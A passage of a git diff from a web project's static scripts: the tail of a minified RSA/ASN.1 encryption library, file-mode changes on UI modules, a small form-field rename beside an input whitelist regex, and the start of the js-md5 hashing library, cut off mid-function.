+ } + }, this.jsonToASN1HEX = function (t) { + return this.newObject(t).getEncodedHex() + } + }, tt.asn1.ASN1Util.oidHexToInt = function (t) { + for (var e = "", i = parseInt(t.substr(0, 2), 16), r = (e = Math.floor(i / 40) + "." + i % 40, ""), n = 2; n < t.length; n += 2) { + var s = ("00000000" + parseInt(t.substr(n, 2), 16).toString(2)).slice(-8); + r += s.substr(1, 7), "0" == s.substr(0, 1) && (e = e + "." + new B(r, 2).toString(10), r = "") + } + return e + }, tt.asn1.ASN1Util.oidIntToHex = function (t) { + var e = function (t) { + var e = t.toString(16); + return 1 == e.length && (e = "0" + e), e + }, i = function (t) { + var i = "", r = new B(t, 10).toString(2), n = 7 - r.length % 7; + 7 == n && (n = 0); + for (var s = "", o = 0; o < n; o++) s += "0"; + for (r = s + r, o = 0; o < r.length - 1; o += 7) { + var h = r.substr(o, 7); + o != r.length - 7 && (h = "1" + h), i += e(parseInt(h, 2)) + } + return i + }; + if (!t.match(/^[0-9.]+$/)) throw"malformed oid string: " + t; + var r = "", n = t.split("."), s = 40 * parseInt(n[0]) + parseInt(n[1]); + r += e(s), n.splice(0, 2); + for (var o = 0; o < n.length; o++) r += i(n[o]); + return r + }, tt.asn1.ASN1Object = function () { + this.getLengthHexFromValue = function () { + if (void 0 === this.hV || null == this.hV) throw"this.hV is null or undefined."; + if (this.hV.length % 2 == 1) throw"value hex must be even length: n=" + "".length + ",v=" + this.hV; + var t = this.hV.length / 2, e = t.toString(16); + if (e.length % 2 == 1 && (e = "0" + e), t < 128) return e; + var i = e.length / 2; + if (i > 15) throw"ASN.1 length too long to represent by 8x: n = " + t.toString(16); + return (128 + i).toString(16) + e + }, this.getEncodedHex = function () { + return (null == this.hTLV || this.isModified) && (this.hV = this.getFreshValueHex(), this.hL = this.getLengthHexFromValue(), this.hTLV = this.hT + this.hL + this.hV, this.isModified = !1), this.hTLV + }, this.getValueHex = function () { + return this.getEncodedHex(), this.hV + }, this.getFreshValueHex = function () { + return "" + } + }, tt.asn1.DERAbstractString = function (t) { + tt.asn1.DERAbstractString.superclass.constructor.call(this), this.getString = function () { + return this.s + }, this.setString = function (t) { + this.hTLV = null, this.isModified = !0, this.s = t, this.hV = stohex(this.s) + }, this.setStringHex = function (t) { + this.hTLV = null, this.isModified = !0, this.s = null, this.hV = t + }, this.getFreshValueHex = function () { + return this.hV + }, void 0 !== t && ("string" == typeof t ? this.setString(t) : void 0 !== t.str ? this.setString(t.str) : void 0 !== t.hex && this.setStringHex(t.hex)) + }, W.lang.extend(tt.asn1.DERAbstractString, tt.asn1.ASN1Object), tt.asn1.DERAbstractTime = function (t) { + tt.asn1.DERAbstractTime.superclass.constructor.call(this), this.localDateToUTC = function (t) { + return utc = t.getTime() + 6e4 * t.getTimezoneOffset(), new Date(utc) + }, this.formatDate = function (t, e, i) { + var r = this.zeroPadding, n = this.localDateToUTC(t), s = String(n.getFullYear()); + "utc" == e && (s = s.substr(2, 2)); + var o = s + r(String(n.getMonth() + 1), 2) + r(String(n.getDate()), 2) + r(String(n.getHours()), 2) + r(String(n.getMinutes()), 2) + r(String(n.getSeconds()), 2); + if (!0 === i) { + var h = n.getMilliseconds(); + if (0 != h) { + var a = r(String(h), 3); + o = o + "." + (a = a.replace(/[0]+$/, "")) + } + } + return o + "Z" + }, this.zeroPadding = function (t, e) { + return t.length >= e ? t : new Array(e - t.length + 1).join("0") + t + }, this.getString = function () { + return this.s + }, this.setString = function (t) { + this.hTLV = null, this.isModified = !0, this.s = t, this.hV = stohex(t) + }, this.setByDateValue = function (t, e, i, r, n, s) { + var o = new Date(Date.UTC(t, e - 1, i, r, n, s, 0)); + this.setByDate(o) + }, this.getFreshValueHex = function () { + return this.hV + } + }, W.lang.extend(tt.asn1.DERAbstractTime, tt.asn1.ASN1Object), tt.asn1.DERAbstractStructured = function (t) { + tt.asn1.DERAbstractString.superclass.constructor.call(this), this.setByASN1ObjectArray = function (t) { + this.hTLV = null, this.isModified = !0, this.asn1Array = t + }, this.appendASN1Object = function (t) { + this.hTLV = null, this.isModified = !0, this.asn1Array.push(t) + }, this.asn1Array = new Array, void 0 !== t && void 0 !== t.array && (this.asn1Array = t.array) + }, W.lang.extend(tt.asn1.DERAbstractStructured, tt.asn1.ASN1Object), tt.asn1.DERBoolean = function () { + tt.asn1.DERBoolean.superclass.constructor.call(this), this.hT = "01", this.hTLV = "0101ff" + }, W.lang.extend(tt.asn1.DERBoolean, tt.asn1.ASN1Object), tt.asn1.DERInteger = function (t) { + tt.asn1.DERInteger.superclass.constructor.call(this), this.hT = "02", this.setByBigInteger = function (t) { + this.hTLV = null, this.isModified = !0, this.hV = tt.asn1.ASN1Util.bigIntToMinTwosComplementsHex(t) + }, this.setByInteger = function (t) { + var e = new B(String(t), 10); + this.setByBigInteger(e) + }, this.setValueHex = function (t) { + this.hV = t + }, this.getFreshValueHex = function () { + return this.hV + }, void 0 !== t && (void 0 !== t.bigint ? this.setByBigInteger(t.bigint) : void 0 !== t.int ? this.setByInteger(t.int) : "number" == typeof t ? this.setByInteger(t) : void 0 !== t.hex && this.setValueHex(t.hex)) + }, W.lang.extend(tt.asn1.DERInteger, tt.asn1.ASN1Object), tt.asn1.DERBitString = function (t) { + if (void 0 !== t && void 0 !== t.obj) { + var e = tt.asn1.ASN1Util.newObject(t.obj); + t.hex = "00" + e.getEncodedHex() + } + tt.asn1.DERBitString.superclass.constructor.call(this), this.hT = "03", this.setHexValueIncludingUnusedBits = function (t) { + this.hTLV = null, this.isModified = !0, this.hV = t + }, this.setUnusedBitsAndHexValue = function (t, e) { + if (t < 0 || 7 < t) throw"unused bits shall be from 0 to 7: u = " + t; + var i = "0" + t; + this.hTLV = null, this.isModified = !0, this.hV = i + e + }, this.setByBinaryString = function (t) { + var e = 8 - (t = t.replace(/0+$/, "")).length % 8; + 8 == e && (e = 0); + for (var i = 0; i <= e; i++) t += "0"; + var r = ""; + for (i = 0; i < t.length - 1; i += 8) { + var n = t.substr(i, 8), s = parseInt(n, 2).toString(16); + 1 == s.length && (s = "0" + s), r += s + } + this.hTLV = null, this.isModified = !0, this.hV = "0" + e + r + }, this.setByBooleanArray = function (t) { + for (var e = "", i = 0; i < t.length; i++) 1 == t[i] ? e += "1" : e += "0"; + this.setByBinaryString(e) + }, this.newFalseArray = function (t) { + for (var e = new Array(t), i = 0; i < t; i++) e[i] = !1; + return e + }, this.getFreshValueHex = function () { + return this.hV + }, void 0 !== t && ("string" == typeof t && t.toLowerCase().match(/^[0-9a-f]+$/) ? this.setHexValueIncludingUnusedBits(t) : void 0 !== t.hex ? this.setHexValueIncludingUnusedBits(t.hex) : void 0 !== t.bin ? this.setByBinaryString(t.bin) : void 0 !== t.array && this.setByBooleanArray(t.array)) + }, W.lang.extend(tt.asn1.DERBitString, tt.asn1.ASN1Object), tt.asn1.DEROctetString = function (t) { + if (void 0 !== t && void 0 !== t.obj) { + var e = tt.asn1.ASN1Util.newObject(t.obj); + t.hex = e.getEncodedHex() + } + tt.asn1.DEROctetString.superclass.constructor.call(this, t), this.hT = "04" + }, W.lang.extend(tt.asn1.DEROctetString, tt.asn1.DERAbstractString), tt.asn1.DERNull = function () { + tt.asn1.DERNull.superclass.constructor.call(this), this.hT = "05", this.hTLV = "0500" + }, W.lang.extend(tt.asn1.DERNull, tt.asn1.ASN1Object), tt.asn1.DERObjectIdentifier = function (t) { + var e = function (t) { + var e = t.toString(16); + return 1 == e.length && (e = "0" + e), e + }, i = function (t) { + var i = "", r = new B(t, 10).toString(2), n = 7 - r.length % 7; + 7 == n && (n = 0); + for (var s = "", o = 0; o < n; o++) s += "0"; + for (r = s + r, o = 0; o < r.length - 1; o += 7) { + var h = r.substr(o, 7); + o != r.length - 7 && (h = "1" + h), i += e(parseInt(h, 2)) + } + return i + }; + tt.asn1.DERObjectIdentifier.superclass.constructor.call(this), this.hT = "06", this.setValueHex = function (t) { + this.hTLV = null, this.isModified = !0, this.s = null, this.hV = t + }, this.setValueOidString = function (t) { + if (!t.match(/^[0-9.]+$/)) throw"malformed oid string: " + t; + var r = "", n = t.split("."), s = 40 * parseInt(n[0]) + parseInt(n[1]); + r += e(s), n.splice(0, 2); + for (var o = 0; o < n.length; o++) r += i(n[o]); + this.hTLV = null, this.isModified = !0, this.s = null, this.hV = r + }, this.setValueName = function (t) { + var e = tt.asn1.x509.OID.name2oid(t); + if ("" === e) throw"DERObjectIdentifier oidName undefined: " + t; + this.setValueOidString(e) + }, this.getFreshValueHex = function () { + return this.hV + }, void 0 !== t && ("string" == typeof t ? t.match(/^[0-2].[0-9.]+$/) ? this.setValueOidString(t) : this.setValueName(t) : void 0 !== t.oid ? this.setValueOidString(t.oid) : void 0 !== t.hex ? this.setValueHex(t.hex) : void 0 !== t.name && this.setValueName(t.name)) + }, W.lang.extend(tt.asn1.DERObjectIdentifier, tt.asn1.ASN1Object), tt.asn1.DEREnumerated = function (t) { + tt.asn1.DEREnumerated.superclass.constructor.call(this), this.hT = "0a", this.setByBigInteger = function (t) { + this.hTLV = null, this.isModified = !0, this.hV = tt.asn1.ASN1Util.bigIntToMinTwosComplementsHex(t) + }, this.setByInteger = function (t) { + var e = new B(String(t), 10); + this.setByBigInteger(e) + }, this.setValueHex = function (t) { + this.hV = t + }, this.getFreshValueHex = function () { + return this.hV + }, void 0 !== t && (void 0 !== t.int ? this.setByInteger(t.int) : "number" == typeof t ? this.setByInteger(t) : void 0 !== t.hex && this.setValueHex(t.hex)) + }, W.lang.extend(tt.asn1.DEREnumerated, tt.asn1.ASN1Object), tt.asn1.DERUTF8String = function (t) { + tt.asn1.DERUTF8String.superclass.constructor.call(this, t), this.hT = "0c" + }, W.lang.extend(tt.asn1.DERUTF8String, tt.asn1.DERAbstractString), tt.asn1.DERNumericString = function (t) { + tt.asn1.DERNumericString.superclass.constructor.call(this, t), this.hT = "12" + }, W.lang.extend(tt.asn1.DERNumericString, tt.asn1.DERAbstractString), tt.asn1.DERPrintableString = function (t) { + tt.asn1.DERPrintableString.superclass.constructor.call(this, t), this.hT = "13" + }, W.lang.extend(tt.asn1.DERPrintableString, tt.asn1.DERAbstractString), tt.asn1.DERTeletexString = function (t) { + tt.asn1.DERTeletexString.superclass.constructor.call(this, t), this.hT = "14" + }, W.lang.extend(tt.asn1.DERTeletexString, tt.asn1.DERAbstractString), tt.asn1.DERIA5String = function (t) { + tt.asn1.DERIA5String.superclass.constructor.call(this, t), this.hT = "16" + }, W.lang.extend(tt.asn1.DERIA5String, tt.asn1.DERAbstractString), tt.asn1.DERUTCTime = function (t) { + tt.asn1.DERUTCTime.superclass.constructor.call(this, t), this.hT = "17", this.setByDate = function (t) { + this.hTLV = null, this.isModified = !0, this.date = t, this.s = this.formatDate(this.date, "utc"), this.hV = stohex(this.s) + }, this.getFreshValueHex = function () { + return void 0 === this.date && void 0 === this.s && (this.date = new Date, this.s = this.formatDate(this.date, "utc"), this.hV = stohex(this.s)), this.hV + }, void 0 !== t && (void 0 !== t.str ? this.setString(t.str) : "string" == typeof t && t.match(/^[0-9]{12}Z$/) ? this.setString(t) : void 0 !== t.hex ? this.setStringHex(t.hex) : void 0 !== t.date && this.setByDate(t.date)) + }, W.lang.extend(tt.asn1.DERUTCTime, tt.asn1.DERAbstractTime), tt.asn1.DERGeneralizedTime = function (t) { + tt.asn1.DERGeneralizedTime.superclass.constructor.call(this, t), this.hT = "18", this.withMillis = !1, this.setByDate = function (t) { + this.hTLV = null, this.isModified = !0, this.date = t, this.s = this.formatDate(this.date, "gen", this.withMillis), this.hV = stohex(this.s) + }, this.getFreshValueHex = function () { + return void 0 === this.date && void 0 === this.s && (this.date = new Date, this.s = this.formatDate(this.date, "gen", this.withMillis), this.hV = stohex(this.s)), this.hV + }, void 0 !== t && (void 0 !== t.str ? this.setString(t.str) : "string" == typeof t && t.match(/^[0-9]{14}Z$/) ? this.setString(t) : void 0 !== t.hex ? this.setStringHex(t.hex) : void 0 !== t.date && this.setByDate(t.date), !0 === t.millis && (this.withMillis = !0)) + }, W.lang.extend(tt.asn1.DERGeneralizedTime, tt.asn1.DERAbstractTime), tt.asn1.DERSequence = function (t) { + tt.asn1.DERSequence.superclass.constructor.call(this, t), this.hT = "30", this.getFreshValueHex = function () { + for (var t = "", e = 0; e < this.asn1Array.length; e++) t += this.asn1Array[e].getEncodedHex(); + return this.hV = t, this.hV + } + }, W.lang.extend(tt.asn1.DERSequence, tt.asn1.DERAbstractStructured), tt.asn1.DERSet = function (t) { + tt.asn1.DERSet.superclass.constructor.call(this, t), this.hT = "31", this.sortFlag = !0, this.getFreshValueHex = function () { + for (var t = new Array, e = 0; e < this.asn1Array.length; e++) { + var i = this.asn1Array[e]; + t.push(i.getEncodedHex()) + } + return 1 == this.sortFlag && t.sort(), this.hV = t.join(""), this.hV + }, void 0 !== t && void 0 !== t.sortflag && 0 == t.sortflag && (this.sortFlag = !1) + }, W.lang.extend(tt.asn1.DERSet, tt.asn1.DERAbstractStructured), tt.asn1.DERTaggedObject = function (t) { + tt.asn1.DERTaggedObject.superclass.constructor.call(this), this.hT = "a0", this.hV = "", this.isExplicit = !0, this.asn1Object = null, this.setASN1Object = function (t, e, i) { + this.hT = e, this.isExplicit = t, this.asn1Object = i, this.isExplicit ? (this.hV = this.asn1Object.getEncodedHex(), this.hTLV = null, this.isModified = !0) : (this.hV = null, this.hTLV = i.getEncodedHex(), this.hTLV = this.hTLV.replace(/^../, e), this.isModified = !1) + }, this.getFreshValueHex = function () { + return this.hV + }, void 0 !== t && (void 0 !== t.tag && (this.hT = t.tag), void 0 !== t.explicit && (this.isExplicit = t.explicit), void 0 !== t.obj && (this.asn1Object = t.obj, this.setASN1Object(this.isExplicit, this.hT, this.asn1Object))) + }, W.lang.extend(tt.asn1.DERTaggedObject, tt.asn1.ASN1Object); + var et, it = (et = function (t, e) { + return (et = Object.setPrototypeOf || {__proto__: []} instanceof Array && function (t, e) { + t.__proto__ = e + } || function (t, e) { + for (var i in e) Object.prototype.hasOwnProperty.call(e, i) && (t[i] = e[i]) + })(t, e) + }, function (t, e) { + function i() { + this.constructor = t + } + + et(t, e), t.prototype = null === e ? Object.create(e) : (i.prototype = e.prototype, new i) + }), rt = function (t) { + function e(i) { + var r = t.call(this) || this; + return i && ("string" == typeof i ? r.parseKey(i) : (e.hasPrivateKeyProperty(i) || e.hasPublicKeyProperty(i)) && r.parsePropertiesFrom(i)), r + } + + return it(e, t), e.prototype.parseKey = function (t) { + try { + var e = 0, i = 0, r = /^\s*(?:[0-9A-Fa-f][0-9A-Fa-f]\s*)+$/.test(t) ? function (t) { + var e; + if (void 0 === c) { + var i = "0123456789ABCDEF", r = " \f\n\r\t \u2028\u2029"; + for (c = {}, e = 0; e < 16; ++e) c[i.charAt(e)] = e; + for (i = i.toLowerCase(), e = 10; e < 16; ++e) c[i.charAt(e)] = e; + for (e = 0; e < r.length; ++e) c[r.charAt(e)] = -1 + } + var n = [], s = 0, o = 0; + for (e = 0; e < t.length; ++e) { + var h = t.charAt(e); + if ("=" == h) break; + if (-1 != (h = c[h])) { + if (void 0 === h) throw new Error("Illegal character at offset " + e); + s |= h, ++o >= 2 ? (n[n.length] = s, s = 0, o = 0) : s <<= 4 + } + } + if (o) throw new Error("Hex encoding incomplete: 4 bits missing"); + return n + }(t) : d.unarmor(t), n = w.decode(r); + if (3 === n.sub.length && (n = n.sub[2].sub[0]), 9 === n.sub.length) { + e = n.sub[1].getHexStringValue(), this.n = P(e, 16), i = n.sub[2].getHexStringValue(), this.e = parseInt(i, 16); + var s = n.sub[3].getHexStringValue(); + this.d = P(s, 16); + var o = n.sub[4].getHexStringValue(); + this.p = P(o, 16); + var h = n.sub[5].getHexStringValue(); + this.q = P(h, 16); + var a = n.sub[6].getHexStringValue(); + this.dmp1 = P(a, 16); + var u = n.sub[7].getHexStringValue(); + this.dmq1 = P(u, 16); + var f = n.sub[8].getHexStringValue(); + this.coeff = P(f, 16) + } else { + if (2 !== n.sub.length) return !1; + var l = n.sub[1].sub[0]; + e = l.sub[0].getHexStringValue(), this.n = P(e, 16), i = l.sub[1].getHexStringValue(), this.e = parseInt(i, 16) + } + return !0 + } catch (t) { + return !1 + } + }, e.prototype.getPrivateBaseKey = function () { + var t = {array: [new tt.asn1.DERInteger({int: 0}), new tt.asn1.DERInteger({bigint: this.n}), new tt.asn1.DERInteger({int: this.e}), new tt.asn1.DERInteger({bigint: this.d}), new tt.asn1.DERInteger({bigint: this.p}), new tt.asn1.DERInteger({bigint: this.q}), new tt.asn1.DERInteger({bigint: this.dmp1}), new tt.asn1.DERInteger({bigint: this.dmq1}), new tt.asn1.DERInteger({bigint: this.coeff})]}; + return new tt.asn1.DERSequence(t).getEncodedHex() + }, e.prototype.getPrivateBaseKeyB64 = function () { + return l(this.getPrivateBaseKey()) + }, e.prototype.getPublicBaseKey = function () { + var t = new tt.asn1.DERSequence({array: [new tt.asn1.DERObjectIdentifier({oid: "1.2.840.113549.1.1.1"}), new tt.asn1.DERNull]}), + e = new tt.asn1.DERSequence({array: [new tt.asn1.DERInteger({bigint: this.n}), new tt.asn1.DERInteger({int: this.e})]}), + i = new tt.asn1.DERBitString({hex: "00" + e.getEncodedHex()}); + return new tt.asn1.DERSequence({array: [t, i]}).getEncodedHex() + }, e.prototype.getPublicBaseKeyB64 = function () { + return l(this.getPublicBaseKey()) + }, e.wordwrap = function (t, e) { + if (!t) return t; + var i = "(.{1," + (e = e || 64) + "})( +|$\n?)|(.{1," + e + "})"; + return t.match(RegExp(i, "g")).join("\n") + }, e.prototype.getPrivateKey = function () { + var t = "-----BEGIN RSA PRIVATE KEY-----\n"; + return (t += e.wordwrap(this.getPrivateBaseKeyB64()) + "\n") + "-----END RSA PRIVATE KEY-----" + }, e.prototype.getPublicKey = function () { + var t = "-----BEGIN PUBLIC KEY-----\n"; + return (t += e.wordwrap(this.getPublicBaseKeyB64()) + "\n") + "-----END PUBLIC KEY-----" + }, e.hasPublicKeyProperty = function (t) { + return (t = t || {}).hasOwnProperty("n") && t.hasOwnProperty("e") + }, e.hasPrivateKeyProperty = function (t) { + return (t = t || {}).hasOwnProperty("n") && t.hasOwnProperty("e") && t.hasOwnProperty("d") && t.hasOwnProperty("p") && t.hasOwnProperty("q") && t.hasOwnProperty("dmp1") && t.hasOwnProperty("dmq1") && t.hasOwnProperty("coeff") + }, e.prototype.parsePropertiesFrom = function (t) { + this.n = t.n, this.e = t.e, t.hasOwnProperty("d") && (this.d = t.d, this.p = t.p, this.q = t.q, this.dmp1 = t.dmp1, this.dmq1 = t.dmq1, this.coeff = t.coeff) + }, e + }(X); + const nt = function () { + function t(t) { + t = t || {}, this.default_key_size = t.default_key_size ? parseInt(t.default_key_size, 10) : 1024, this.default_public_exponent = t.default_public_exponent || "010001", this.log = t.log || !1, this.key = null + } + + return t.prototype.setKey = function (t) { + this.log && this.key && console.warn("A key was already set, overriding existing."), this.key = new rt(t) + }, t.prototype.setPrivateKey = function (t) { + this.setKey(t) + }, t.prototype.setPublicKey = function (t) { + this.setKey(t) + }, t.prototype.decrypt = function (t) { + try { + return this.getKey().decrypt(p(t)) + } catch (t) { + return !1 + } + }, t.prototype.encrypt = function (t) { + try { + return l(this.getKey().encrypt(t)) + } catch (t) { + return !1 + } + }, t.prototype.sign = function (t, e, i) { + try { + return l(this.getKey().sign(t, e, i)) + } catch (t) { + return !1 + } + }, t.prototype.verify = function (t, e, i) { + try { + return this.getKey().verify(t, p(e), i) + } catch (t) { + return !1 + } + }, t.prototype.getKey = function (t) { + if (!this.key) { + if (this.key = new rt, t && "[object Function]" === {}.toString.call(t)) return void this.key.generateAsync(this.default_key_size, this.default_public_exponent, t); + this.key.generate(this.default_key_size, this.default_public_exponent) + } + return this.key + }, t.prototype.getPrivateKey = function () { + return this.getKey().getPrivateKey() + }, t.prototype.getPrivateKeyB64 = function () { + return this.getKey().getPrivateBaseKeyB64() + }, t.prototype.getPublicKey = function () { + return this.getKey().getPublicKey() + }, t.prototype.getPublicKeyB64 = function () { + return this.getKey().getPublicBaseKeyB64() + }, t.version = "3.0.0-rc.2", t + }() + } + }, e = {}; + + function i(r) { + if (e[r]) return e[r].exports; + var n = e[r] = {exports: {}}; + return t[r](n, n.exports, i), n.exports + } + + return i.d = (t, e) => { + for (var r in e) i.o(e, r) && !i.o(t, r) && Object.defineProperty(t, r, {enumerable: !0, get: e[r]}) + }, i.o = (t, e) => Object.prototype.hasOwnProperty.call(t, e), i(771) + })().default +})); \ No newline at end of file diff --git a/src/main/resources/static/js/lay-config.js b/src/main/resources/static/js/lay-config.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/common/common.js b/src/main/resources/static/js/lay-module/common/common.js old mode 100644 new mode 100755 index 7fab1e5..79dae95 --- a/src/main/resources/static/js/lay-module/common/common.js +++ b/src/main/resources/static/js/lay-module/common/common.js @@ -54,7 +54,7 @@ layui.define(['form','table'], function (exports) { //提示:模块也可以 submitPostReq, formListenFun: function (layFilter, type, path, resultId, reqType) { form.on(`submit(${layFilter})`, function (data) { - var value = data.field.content; + var value = data.field.payload; // 定义白名单正则表达式 var whitelistRegex = /^[a-zA-Z0-9_\s]+$/; diff --git a/src/main/resources/static/js/lay-module/echarts/echarts.js b/src/main/resources/static/js/lay-module/echarts/echarts.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/echarts/echartsTheme.js b/src/main/resources/static/js/lay-module/echarts/echartsTheme.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/iconPicker/iconPickerFa.js b/src/main/resources/static/js/lay-module/iconPicker/iconPickerFa.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/layarea/layarea.js b/src/main/resources/static/js/lay-module/layarea/layarea.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/layuimini/miniAdmin.js b/src/main/resources/static/js/lay-module/layuimini/miniAdmin.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/layuimini/miniMenu.js b/src/main/resources/static/js/lay-module/layuimini/miniMenu.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/layuimini/miniTab.js b/src/main/resources/static/js/lay-module/layuimini/miniTab.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/layuimini/miniTheme.js b/src/main/resources/static/js/lay-module/layuimini/miniTheme.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/layuimini/miniTongji.js b/src/main/resources/static/js/lay-module/layuimini/miniTongji.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/step-lay/step.css b/src/main/resources/static/js/lay-module/step-lay/step.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/step-lay/step.js b/src/main/resources/static/js/lay-module/step-lay/step.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/tableSelect/tableSelect.js b/src/main/resources/static/js/lay-module/tableSelect/tableSelect.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/treetable-lay/treetable.css b/src/main/resources/static/js/lay-module/treetable-lay/treetable.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/treetable-lay/treetable.js b/src/main/resources/static/js/lay-module/treetable-lay/treetable.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/wangEditor/fonts/w-e-icon.woff b/src/main/resources/static/js/lay-module/wangEditor/fonts/w-e-icon.woff old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/wangEditor/wangEditor.css b/src/main/resources/static/js/lay-module/wangEditor/wangEditor.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/wangEditor/wangEditor.js b/src/main/resources/static/js/lay-module/wangEditor/wangEditor.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/wangEditor/wangEditor.min.css b/src/main/resources/static/js/lay-module/wangEditor/wangEditor.min.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/wangEditor/wangEditor.min.js b/src/main/resources/static/js/lay-module/wangEditor/wangEditor.min.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/lay-module/wangEditor/wangEditor.min.js.map b/src/main/resources/static/js/lay-module/wangEditor/wangEditor.min.js.map old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/md5.min.js b/src/main/resources/static/js/md5.min.js new file mode 100755 index 0000000..b74f9e7 --- /dev/null +++ b/src/main/resources/static/js/md5.min.js @@ -0,0 +1,109 @@ +/** + * [js-md5]{@link https://github.com/emn178/js-md5} + * + * @namespace md5 + * @version 0.7.3 + * @author Chen, Yi-Cyuan [emn178@gmail.com] + * @copyright Chen, Yi-Cyuan 2014-2017 + * @license MIT + */ +!function () { + "use strict"; + + function t(t) { + if (t) d[0] = d[16] = d[1] = d[2] = d[3] = d[4] = d[5] = d[6] = d[7] = d[8] = d[9] = d[10] = d[11] = d[12] = d[13] = d[14] = d[15] = 0, this.blocks = d, this.buffer8 = l; else if (a) { + var r = new ArrayBuffer(68); + this.buffer8 = new Uint8Array(r), this.blocks = new Uint32Array(r) + } else this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; + this.h0 = this.h1 = this.h2 = this.h3 = this.start = this.bytes = this.hBytes = 0, this.finalized = this.hashed = !1, this.first = !0 + } + + var r = "input is invalid type", e = "object" == typeof window, i = e ? window : {}; + i.JS_MD5_NO_WINDOW && (e = !1); + var s = !e && "object" == typeof self, + h = !i.JS_MD5_NO_NODE_JS && "object" == typeof process && process.versions && process.versions.node; + h ? i = global : s && (i = self); + var f = !i.JS_MD5_NO_COMMON_JS && "object" == typeof module && module.exports, + o = "function" == typeof define && define.amd, + a = !i.JS_MD5_NO_ARRAY_BUFFER && "undefined" != typeof ArrayBuffer, n = "0123456789abcdef".split(""), + u = [128, 32768, 8388608, -2147483648], y = [0, 8, 16, 24], + c = ["hex", "array", "digest", "buffer", "arrayBuffer", "base64"], + p = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), d = [], l; + if (a) { + var A = new ArrayBuffer(68); + l = new Uint8Array(A), d = new Uint32Array(A) + } + !i.JS_MD5_NO_NODE_JS && Array.isArray || (Array.isArray = function (t) { + return "[object Array]" === Object.prototype.toString.call(t) + }), !a || !i.JS_MD5_NO_ARRAY_BUFFER_IS_VIEW && ArrayBuffer.isView || (ArrayBuffer.isView = function (t) { + return "object" == typeof t && t.buffer && t.buffer.constructor === ArrayBuffer + }); + var b = function (r) { + return function (e) { + return new t(!0).update(e)[r]() + } + }, v = function () { + var r = b("hex"); + h && (r = w(r)), r.create = function () { + return new t + }, r.update = function (t) { + return r.create().update(t) + }; + for (var e = 0; e < c.length; ++e) { + var i = c[e]; + r[i] = b(i) + } + return r + }, w = function (t) { + var e = eval("require('crypto')"), i = eval("require('buffer').Buffer"), s = function (s) { + if ("string" == typeof s) return e.createHash("md5").update(s, "utf8").digest("hex"); + if (null === s || void 0 === s) throw r; + return s.constructor === ArrayBuffer && (s = new Uint8Array(s)), Array.isArray(s) || ArrayBuffer.isView(s) || s.constructor === i ? e.createHash("md5").update(new i(s)).digest("hex") : t(s) + }; + return s + }; + t.prototype.update = function (t) { + if (!this.finalized) { + var e, i = typeof t; + if ("string" !== i) { + if ("object" !== i) throw r; + if (null === t) throw r; + if (a && t.constructor === ArrayBuffer) t = new Uint8Array(t); else if (!(Array.isArray(t) || a && ArrayBuffer.isView(t))) throw r; + e = !0 + } + for (var s, h, f = 0, o = t.length, n = this.blocks, u = this.buffer8; f < o;) { + if (this.hashed && (this.hashed = !1, n[0] = n[16], n[16] = n[1] = n[2] = n[3] = n[4] = n[5] = n[6] = n[7] = n[8] = n[9] = n[10] = n[11] = n[12] = n[13] = n[14] = n[15] = 0), e) if (a) for (h = this.start; f < o && h < 64; ++f) u[h++] = t[f]; else for (h = this.start; f < o && h < 64; ++f) n[h >> 2] |= t[f] << y[3 & h++]; else if (a) for (h = this.start; f < o && h < 64; ++f) (s = t.charCodeAt(f)) < 128 ? u[h++] = s : s < 2048 ? (u[h++] = 192 | s >> 6, u[h++] = 128 | 63 & s) : s < 55296 || s >= 57344 ? (u[h++] = 224 | s >> 12, u[h++] = 128 | s >> 6 & 63, u[h++] = 128 | 63 & s) : (s = 65536 + ((1023 & s) << 10 | 1023 & t.charCodeAt(++f)), u[h++] = 240 | s >> 18, u[h++] = 128 | s >> 12 & 63, u[h++] = 128 | s >> 6 & 63, u[h++] = 128 | 63 & s); else for (h = this.start; f < o && h < 64; ++f) (s = t.charCodeAt(f)) < 128 ? n[h >> 2] |= s << y[3 & h++] : s < 2048 ? (n[h >> 2] |= (192 | s >> 6) << y[3 & h++], n[h >> 2] |= (128 | 63 & s) << y[3 & h++]) : s < 55296 || s >= 57344 ? (n[h >> 2] |= (224 | s >> 12) << y[3 & h++], n[h >> 2] |= (128 | s >> 6 & 63) << y[3 & h++], n[h >> 2] |= (128 | 63 & s) << y[3 & h++]) : (s = 65536 + ((1023 & s) << 10 | 1023 & t.charCodeAt(++f)), n[h >> 2] |= (240 | s >> 18) << y[3 & h++], n[h >> 2] |= (128 | s >> 12 & 63) << y[3 & h++], n[h >> 2] |= (128 | s >> 6 & 63) << y[3 & h++], n[h >> 2] |= (128 | 63 & s) << y[3 & h++]); + this.lastByteIndex = h, this.bytes += h - this.start, h >= 64 ? (this.start = h - 64, this.hash(), this.hashed = !0) : this.start = h + } + return this.bytes > 4294967295 && (this.hBytes += this.bytes / 4294967296 << 0, this.bytes = this.bytes % 4294967296), this + } + }, t.prototype.finalize = function () { + if (!this.finalized) { + this.finalized = !0; + var t = 